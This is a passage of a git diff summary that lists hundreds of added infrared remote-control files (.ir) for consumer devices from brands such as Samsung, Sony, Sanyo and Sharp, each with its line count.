.../infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir | 14 + .../infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir | 44 + .../infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir | 158 + .../infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir | 8 + .../Radio Shack/Unknown_RS2142/5,-1.ir | 206 + .../Radio Shack/Unknown_RadioShack/3,1.ir | 14 + .../Unknown_Radioshack2115/5,-1.ir | 218 + .../_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir | 116 + .../_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir | 200 + .../Radix/Unknown_DTR-9000-Twin/0,127.ir | 230 + .../_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir | 140 + .../Radix/Unknown_lircd.conf/0,127.ir | 194 + .../_CSV-IRDB_/Radix/Unknown_radix/138,245.ir | 152 + .../Raite/Unknown_RaiteDVD-7xx/32,-1.ir | 260 + .../_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir | 170 + .../_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir | 308 + .../resources/infrared/_CSV-IRDB_/ReadMe.md | 5 + .../_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir | 260 + .../_CSV-IRDB_/Rega/Receiver/110,-1.ir | 140 + .../_CSV-IRDB_/Rega/Receiver/135,124.ir | 26 + .../_CSV-IRDB_/Rega/Receiver/16,-1.ir | 68 + .../Replay Networks/Digital Recorder/1,0.ir | 362 + .../_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir | 218 + .../_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir | 164 + .../Revoy/Unknown_Revoy2200/0,153.ir | 272 + .../_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir | 164 + .../Roku/Unknown_Netflix/190,239.ir | 56 + .../Roku/Unknown_Soundbridge/111,-1.ir | 164 + .../_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir | 296 + .../Rolsen/Unknown_K10B-C1/14,14.ir | 158 + .../_CSV-IRDB_/Rotel/CD Player/20,-1.ir | 32 + .../infrared/_CSV-IRDB_/Rotel/Tuner/82,0.ir | 110 + .../_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir | 152 + .../_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir | 272 + .../_CSV-IRDB_/Runco/Line Doubler/4,-1.ir | 56 + .../_CSV-IRDB_/Runco/Video Controller/1,-1.ir | 98 + .../_CSV-IRDB_/Runco/Video Projector/1,-1.ir | 182 + .../Runco/Video Projector/24,247.ir | 236 + .../_CSV-IRDB_/Runco/Video Projector/5,1.ir | 134 + .../_CSV-IRDB_/Russound/Music Server/10,-1.ir | 146 + .../_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir | 146 + .../_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir | 212 + .../_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir | 134 + .../SEG/Unknown_E6900-X020A/2,-1.ir | 308 + .../SEG/Unknown_SEG-DVD-430/32,-1.ir | 260 + .../SEG/Unknown_SEG-VCR4300/21,-1.ir | 224 + .../_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir | 128 + .../_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir | 140 + .../_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir | 122 + .../_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir | 224 + .../_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir | 152 + .../_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir | 236 + .../_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir | 242 + .../_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir | 254 + .../_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir | 296 + .../STRONG/Unknown_STRONG/128,119.ir | 200 + .../SUPERSQNY/Unknown_KM-168/0,-1.ir | 290 + .../_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir | 80 + .../_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir | 80 + .../Sagem/Unknown_DVB-T-Receiver/135,94.ir | 200 + .../Sagem/Unknown_HD103-C/135,94.ir | 194 + .../_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir | 230 + .../_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir | 164 + .../_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir | 62 + .../Samsung/Rear Projection DLP TV/7,7.ir | 86 + .../infrared/_CSV-IRDB_/Samsung/TV/7,7.ir | 206 + .../Samsung/Unknown_00011k/102,0.ir | 224 + .../_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir | 218 + .../Samsung/Unknown_00054d/102,0.ir | 230 + .../Samsung/Unknown_00056A/102,0.ir | 236 + .../_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir | 158 + .../Samsung/Unknown_00092M/102,0.ir | 254 + .../Samsung/Unknown_00092b/102,0.ir | 254 + .../_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir | 146 + .../_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir | 176 + .../_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir | 146 + .../_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir | 176 + .../Samsung/Unknown_01043A/102,0.ir | 74 + .../_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir | 146 + .../_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir | 74 + .../_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir | 110 + .../_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir | 140 + .../Samsung/Unknown_AA59-00316b/7,7.ir | 194 + .../Samsung/Unknown_AA59-00332D/7,7.ir | 182 + .../Samsung/Unknown_AA59-00370A/7,7.ir | 236 + .../Samsung/Unknown_AA59-00382A/7,7.ir | 272 + .../Samsung/Unknown_AA59-00600A/7,7.ir | 266 + .../Samsung/Unknown_AA59-10026E/5,5.ir | 212 + .../Samsung/Unknown_AA64-50236A/7,7.ir | 158 + .../Samsung/Unknown_AH59-01527F/67,83.ir | 326 + .../Samsung/Unknown_AH59-02345A/7,7.ir | 212 + .../_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir | 74 + .../Samsung/Unknown_BN59-00507A/7,7.ir | 272 + .../Samsung/Unknown_BN59-00538A/7,7.ir | 326 + .../Samsung/Unknown_BN59-00603A/7,7.ir | 326 + .../Samsung/Unknown_BN59-00609A/7,7.ir | 272 + .../Samsung/Unknown_BN59-00634A/9,9.ir | 182 + .../Samsung/Unknown_BN59-00678A/7,7.ir | 236 + .../Samsung/Unknown_BN59-00683A/7,7.ir | 290 + .../Samsung/Unknown_BN59-00685A/7,7.ir | 272 + .../Samsung/Unknown_BN59-00856A/7,7.ir | 290 + .../Samsung/Unknown_BN59-00861A/7,7.ir | 290 + .../Samsung/Unknown_BN59-00865A/7,7.ir | 230 + .../Samsung/Unknown_BN59-00869A/7,7.ir | 236 + .../Samsung/Unknown_BN59-00940A/7,7.ir | 290 + .../Samsung/Unknown_BRM-E1E/33,33.ir | 74 + .../_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir | 86 + .../Samsung/Unknown_MF59-00242B/9,9.ir | 206 + .../Samsung/Unknown_MF59-00291a/32,0.ir | 236 + .../_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir | 206 + .../_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir | 86 + .../_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir | 92 + .../Samsung/Unknown_SAMSUNG/102,0.ir | 254 + .../_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir | 242 + .../_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir | 290 + .../_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir | 176 + .../Samsung/Unknown_SFT-702E/64,-1.ir | 224 + .../Samsung/Unknown_SMT-1000T/64,64.ir | 218 + .../Samsung/Unknown_SMT-H3050/27,-1.ir | 110 + .../_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir | 260 + .../_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir | 242 + .../_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir | 272 + .../Samsung/Unknown_SV-DVD3E/5,5.ir | 266 + .../_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir | 146 + .../_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir | 236 + .../_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir | 248 + .../_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir | 194 + .../Samsung/Unknown_samsung-10095T/7,7.ir | 152 + .../_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir | 170 + .../infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir | 80 + .../infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir | 554 + .../_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir | 266 + .../Sansonic/Unknown_FT-300A/0,-1.ir | 164 + .../Sansui/Unknown_SANSUI-RS-S103/132,77.ir | 158 + .../infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir | 140 + .../_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir | 158 + .../_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir | 188 + .../_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir | 200 + .../_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir | 182 + .../_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir | 206 + .../Sanyo/Unknown_RB-DA300/60,-1.ir | 200 + .../Sanyo/Unknown_RB-SL22/60,196.ir | 266 + .../_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir | 200 + .../_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir | 194 + .../Sanyo/Unknown_Sanyo-B13509/49,-1.ir | 194 + .../Sanyo/Unknown_Sanyo-JXZB/56,-1.ir | 194 + .../_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir | 194 + .../_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir | 140 + .../_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir | 122 + .../_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir | 170 + .../Sanyo/Unknown_sanyo-tv01/56,-1.ir | 152 + .../Sanyo/Unknown_sanyoB13537/49,-1.ir | 200 + .../_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir | 146 + .../infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir | 296 + .../Schneider/Unknown_FB2000/5,-1.ir | 188 + .../Schneider/Unknown_RC-193/154,-1.ir | 260 + .../Schneider/Unknown_RC202/11,11.ir | 188 + .../Schneider/Unknown_RC901/28,-1.ir | 218 + .../Schneider/Unknown_RC902/0,-1.ir | 218 + .../_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir | 206 + .../Scientific Atlanta/Cable Box/27,-1.ir | 212 + .../Scientific Atlanta/Cable Box/71,-1.ir | 20 + .../Unknown_Atlanta-1840/27,-1.ir | 254 + .../Scientific Atlanta/Unknown_IV/27,-1.ir | 248 + .../Unknown_RM9834/27,-1.ir | 164 + .../Unknown_SAE8000/27,-1.ir | 302 + .../_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir | 248 + .../Scott/Unknown_scott-dvd/4,-1.ir | 290 + .../infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir | 98 + .../infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir | 98 + .../Sencor/Unknown_SFN9011SL/0,252.ir | 38 + .../_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir | 134 + .../_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir | 14 + .../infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir | 62 + .../infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir | 140 + .../Sharp/Unknown_CV-2131CK1/1,-1.ir | 140 + .../_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir | 122 + .../_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir | 140 + .../Sharp/Unknown_G0938CESA/1,-1.ir | 230 + .../Sharp/Unknown_G1014BMSA/1,-1.ir | 224 + .../Sharp/Unknown_G1044BMSA/1,-1.ir | 242 + .../_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir | 308 + .../Sharp/Unknown_RRMCGA030WJSA/8,48.ir | 254 + .../_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir | 152 + .../Sharp/Unknown_sharp1781/1,-1.ir | 146 + .../infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir | 194 + .../_CSV-IRDB_/Sharp/Video Projector/13,-1.ir | 62 + .../_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir | 134 + .../_CSV-IRDB_/Sherwood/Receiver/131,69.ir | 80 + .../Sherwood/Unknown_GC-1285/129,114.ir | 218 + .../Sherwood/Unknown_RM-101/69,131.ir | 188 + .../Sherwood/Unknown_RM-636/131,68.ir | 332 + .../Sherwood/Unknown_RM-RV-N25/131,68.ir | 392 + .../Unknown_Sherwood-S2770R-CP-II/129,123.ir | 254 + .../Sherwood/Unknown_sherwood/129,122.ir | 134 + .../Sherwood/Unknown_sherwood/131,69.ir | 290 + .../Shinco/Unknown_RC-1730/0,153.ir | 248 + .../_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir | 308 + .../Siemens/Unknown_fb405/134,84.ir | 140 + .../Siemens/Unknown_siemens-fb400/131,89.ir | 248 + .../Siemens/Unknown_siemens1/49,-1.ir | 230 + .../Sigma Designs/DVD Player/128,-1.ir | 224 + .../Sigma Designs/Unknown_SIR/128,-1.ir | 224 + .../_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir | 248 + .../Sigmatek/Unknown_XMB-510-PRO/8,-1.ir | 278 + .../Silvercrest/Unknown_RCH7S52/32,-1.ir | 236 + .../Silvercrest/Unknown_URC-801/4,15.ir | 278 + .../Sirius/Unknown_SBKB-3201KR/128,-1.ir | 140 + .../_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir | 170 + .../Sirius/Unknown_Sportster/1,-1.ir | 152 + .../Sitronics/Unknown_RC-D010E/0,251.ir | 296 + .../_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir | 230 + .../_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir | 62 + .../_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir | 386 + .../Skymaster/Unknown_2424/37,250.ir | 170 + .../_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir | 212 + .../Skymaster/Unknown_SkymasterXLS99/19,1.ir | 86 + .../_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir | 152 + .../Skymaster/Unknown_skymaster/19,1.ir | 188 + .../Slim Art/Unknown_SA-100/0,-1.ir | 296 + .../Slim Devices/Unknown_Devices/110,-1.ir | 188 + .../SnapStream/Unknown_Firefly-Mini/0,-1.ir | 212 + .../_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir | 278 + .../infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir | 68 + .../Sonance/Distributed Audio/0,90.ir | 158 + .../Sonance/System Controller/132,132.ir | 74 + .../Sonicview/Unknown_SV-360/15,-1.ir | 290 + .../_CSV-IRDB_/Sony/Boombox/100,-1.ir | 128 + .../infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir | 56 + .../_CSV-IRDB_/Sony/CD Changer/17,-1.ir | 32 + .../_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir | 8 + .../_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir | 818 + .../_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir | 8 + .../_CSV-IRDB_/Sony/CD Jukebox/26,153.ir | 8 + .../_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir | 8 + .../_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir | 230 + .../_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir | 248 + .../_CSV-IRDB_/Sony/CD Player/1,-1.ir | 8 + .../_CSV-IRDB_/Sony/CD Player/17,-1.ir | 986 + .../_CSV-IRDB_/Sony/CD Player/57,-1.ir | 410 + .../_CSV-IRDB_/Sony/CD Player/81,-1.ir | 416 + .../_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir | 74 + .../_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir | 50 + .../infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir | 182 + .../infrared/_CSV-IRDB_/Sony/DSP/26,233.ir | 170 + .../infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir | 50 + .../infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir | 8 + .../infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir | 650 + .../infrared/_CSV-IRDB_/Sony/DSS/23,133.ir | 206 + .../infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir | 14 + .../infrared/_CSV-IRDB_/Sony/DSS/5,1.ir | 8 + .../infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir | 26 + .../infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir | 26 + .../infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir | 14 + .../infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir | 86 + .../_CSV-IRDB_/Sony/DVD Player/1,-1.ir | 26 + .../_CSV-IRDB_/Sony/DVD Player/164,-1.ir | 8 + .../_CSV-IRDB_/Sony/DVD Player/26,218.ir | 98 + .../_CSV-IRDB_/Sony/DVD Player/26,73.ir | 1232 ++ .../_CSV-IRDB_/Sony/DVD Player/26,83.ir | 278 + .../_CSV-IRDB_/Sony/DVD Player/26,98.ir | 230 + .../_CSV-IRDB_/Sony/DVD Player/4,-1.ir | 8 + .../_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir | 20 + .../Sony/Digital Recorder/26,154.ir | 200 + .../_CSV-IRDB_/Sony/Digital Recorder/26,73.ir | 128 + .../_CSV-IRDB_/Sony/Digital Recorder/26,98.ir | 44 + .../_CSV-IRDB_/Sony/Laser Disc/6,-1.ir | 314 + .../_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir | 464 + .../_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir | 26 + .../_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir | 8 + .../_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir | 68 + .../_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir | 128 + .../_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir | 8 + .../_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir | 230 + .../_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir | 8 + .../_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir | 68 + .../_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir | 8 + .../_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir | 8 + .../_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir | 140 + .../_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir | 230 + .../_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir | 104 + .../_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir | 8 + .../_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir | 272 + .../_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir | 8 + .../_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir | 8 + .../infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir | 104 + .../_CSV-IRDB_/Sony/Receiver/11,-1.ir | 56 + .../_CSV-IRDB_/Sony/Receiver/12,-1.ir | 158 + .../_CSV-IRDB_/Sony/Receiver/121,-1.ir | 134 + .../_CSV-IRDB_/Sony/Receiver/13,-1.ir | 362 + .../_CSV-IRDB_/Sony/Receiver/144,-1.ir | 188 + .../_CSV-IRDB_/Sony/Receiver/15,-1.ir | 80 + .../_CSV-IRDB_/Sony/Receiver/16,-1.ir | 542 + .../_CSV-IRDB_/Sony/Receiver/17,-1.ir | 32 + .../_CSV-IRDB_/Sony/Receiver/176,-1.ir | 68 + .../_CSV-IRDB_/Sony/Receiver/18,-1.ir | 218 + .../infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir | 20 + .../_CSV-IRDB_/Sony/Receiver/20,-1.ir | 128 + .../_CSV-IRDB_/Sony/Receiver/23,-1.ir | 362 + .../_CSV-IRDB_/Sony/Receiver/26,66.ir | 92 + .../_CSV-IRDB_/Sony/Receiver/26,73.ir | 50 + .../_CSV-IRDB_/Sony/Receiver/36,-1.ir | 1244 ++ .../infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir | 26 + .../_CSV-IRDB_/Sony/Receiver/48,-1.ir | 272 + .../infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir | 14 + .../infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir | 14 + .../infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir | 8 + .../Sony/Surround Processor/26,233.ir | 122 + .../infrared/_CSV-IRDB_/Sony/TV/1,-1.ir | 626 + .../infrared/_CSV-IRDB_/Sony/TV/119,-1.ir | 44 + .../infrared/_CSV-IRDB_/Sony/TV/151,-1.ir | 116 + .../infrared/_CSV-IRDB_/Sony/TV/164,-1.ir | 362 + .../infrared/_CSV-IRDB_/Sony/TV/183,-1.ir | 8 + .../infrared/_CSV-IRDB_/Sony/TV/26,-1.ir | 110 + .../infrared/_CSV-IRDB_/Sony/TV/26,42.ir | 44 + .../infrared/_CSV-IRDB_/Sony/TV/3,-1.ir | 80 + .../infrared/_CSV-IRDB_/Sony/TV/84,-1.ir | 80 + .../infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir | 224 + .../infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir | 206 + .../infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir | 410 + .../_CSV-IRDB_/Sony/Unknown_870/1,-1.ir | 176 + .../_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir | 278 + .../_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir | 272 + .../_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir | 254 + .../_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir | 254 + .../_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir | 152 + .../_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir | 212 + .../_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir | 242 + .../_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir | 152 + .../_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir | 74 + .../_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir | 182 + .../_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir | 176 + .../_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir | 140 + .../_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir | 230 + .../_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir | 158 + .../_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir | 212 + .../_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir | 158 + .../_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir | 182 + .../_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir | 164 + .../_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir | 182 + .../_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir | 176 + .../_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir | 236 + .../_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir | 290 + .../_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir | 272 + .../_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir | 536 + .../_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir | 182 + .../_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir | 74 + .../_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir | 332 + .../_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir | 320 + .../_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir | 122 + .../_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir | 182 + .../_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir | 200 + .../_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir | 20 + .../_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir | 140 + .../_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir | 116 + .../_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir | 128 + .../_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir | 182 + .../_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir | 182 + .../_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir | 86 + .../_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir | 74 + .../_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir | 74 + .../_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir | 74 + .../_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir | 170 + .../_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir | 176 + .../_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir | 182 + .../_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir | 266 + .../_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir | 116 + .../_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir | 62 + .../_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir | 44 + .../Sony/Unknown_RMT-B101A/26,226.ir | 254 + .../_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir | 140 + .../Sony/Unknown_RMT-D115P/26,73.ir | 206 + .../Sony/Unknown_RMT-D126A/26,73.ir | 194 + .../Sony/Unknown_RMT-D126E/26,73.ir | 188 + .../Sony/Unknown_RMT-D129A/26,73.ir | 254 + .../Sony/Unknown_RMT-DSC2/26,241.ir | 68 + .../_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir | 200 + .../_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir | 212 + .../Sony/Unknown_RMT-V501A/26,83.ir | 284 + .../_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir | 170 + .../_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir | 20 + .../_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir | 200 + .../Sony/Unknown_VaioRemote/4,15.ir | 248 + .../Sony/Unknown_lircd.conf/17,-1.ir | 104 + .../_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir | 500 + .../_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir | 218 + .../_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir | 86 + .../_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir | 110 + .../_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir | 110 + .../_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir | 194 + .../Sony/Unknown_sonyRM-sep303/4,-1.ir | 134 + .../_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir | 182 + .../_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir | 374 + .../_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir | 476 + .../infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir | 8 + .../infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir | 14 + .../infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir | 1094 ++ .../infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir | 110 + .../infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir | 74 + .../infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir | 326 + .../infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir | 608 + .../infrared/_CSV-IRDB_/Sony/VCR/25,37.ir | 230 + .../infrared/_CSV-IRDB_/Sony/VCR/25,69.ir | 14 + .../infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir | 8 + .../infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir | 530 + .../infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir | 56 + .../_CSV-IRDB_/Sony/Video Projector/26,42.ir | 368 + .../_CSV-IRDB_/Sony/Video Projector/84,-1.ir | 716 + .../Speed-link/Unknown_SL-6399/0,-1.ir | 296 + .../_CSV-IRDB_/Starsat/Unknown_120/64,64.ir | 248 + .../Starview/Unknown_Starview/0,249.ir | 200 + .../_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir | 212 + .../Sumvision/Unknown_Sumvision/0,-1.ir | 272 + .../Sunfire/Surround Processor/184,0.ir | 140 + .../Sunfire/Surround Processor/184,1.ir | 26 + .../Sunfire/Surround Processor/184,3.ir | 14 + .../Sungale/Unknown_JX-2002/0,-1.ir | 206 + .../Supermax/Unknown_Supermax/128,38.ir | 176 + .../Unknown_SP-URC-LCD-F15/10,-1.ir | 212 + .../_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir | 302 + .../infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir | 134 + 